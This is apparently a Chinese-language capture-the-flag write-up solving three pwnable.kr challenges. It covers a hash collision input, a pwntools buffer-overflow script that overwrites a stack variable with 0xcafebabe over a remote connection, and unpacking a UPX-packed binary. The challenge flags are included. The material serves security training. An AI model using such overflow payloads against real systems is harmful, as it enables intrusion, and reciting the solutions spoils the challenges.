collision
先连上
ssh col@pwnable.kr -p2222
看有什么文件
ls
有col ,col.c, flag三个文件,然后cat col.c,显示源代码
#include <stdio.h>
#include <string.h>
unsigned long hashcode = 0x21DD09EC;
unsigned long check_password(const char* p){
int* ip = (int*)p;
int i;
int res=0;
for(i=0; i<5; i++){
res += ip[i];
}
return res;
}
int main(int argc, char* argv[]){
if(argc<2){
printf("usage : %s [passcode]\n", argv[0]);
return 0;
}
if(strlen(argv[1]) != 20){
printf("passcode length should be 20 bytes\n");
return 0;
}
if(hashcode == check_password( argv[1] )){
system("/bin/cat flag");
return 0;
}
else
printf("wrong passcode.\n");
return 0;
}
从strlen(argv[1]) != 20 发现要输入20个字节,在check_password()中将20个字节以4个字节分隔,相加
取4个相同的数0x01010101,
有0x21DD09EC-0x01010101*4=0x1DD905E8
则输入的书是4个0x01010101+0x1DD905E8
因为读到内存时是小端模式,就是逆序,输入的应该是\xE8\x05\xD9\x1D
输入结果
./col ` python -c "print '\x01'*16+'\xE8\x05\xD9\x1D'"`
或者
./col $( python -c "print '\x01'*16+'\xE8\x05\xD9\x1D'")
知识点:反引号`和$()可以把一个命令的标准输出插在命令行中的任何位置,获取命令的结果,也就是python输出要加上两者中的一个。
bof
先把文件下载下来
wget http://pwnable.kr/bin/bof
wget http://pwnable.kr/bin/bof.c
用IDA分析一下,
a1地址是bp+8h,s地址是bp-2ch,相差52个字符,
输入结果 python
from pwn import *
key = p32(0xcafebabe)
c = remote("pwnable.kr", 9000)
c.sendline('A' * 52 + key)
c.interactive()
得到flag:daddy, I just pwned a buFFer 😃
flag
先把文件下载下来
wget http://pwnable.kr/bin/flag
用IDA分析一下,发现string窗口中有UPX,即UPX加密。
用UPX -d -o 解密成flag_upx文件,再在IDA中分析一下
直接发现了flag,点进去
拿到flag:UPX…? sounds like a delivery service 😃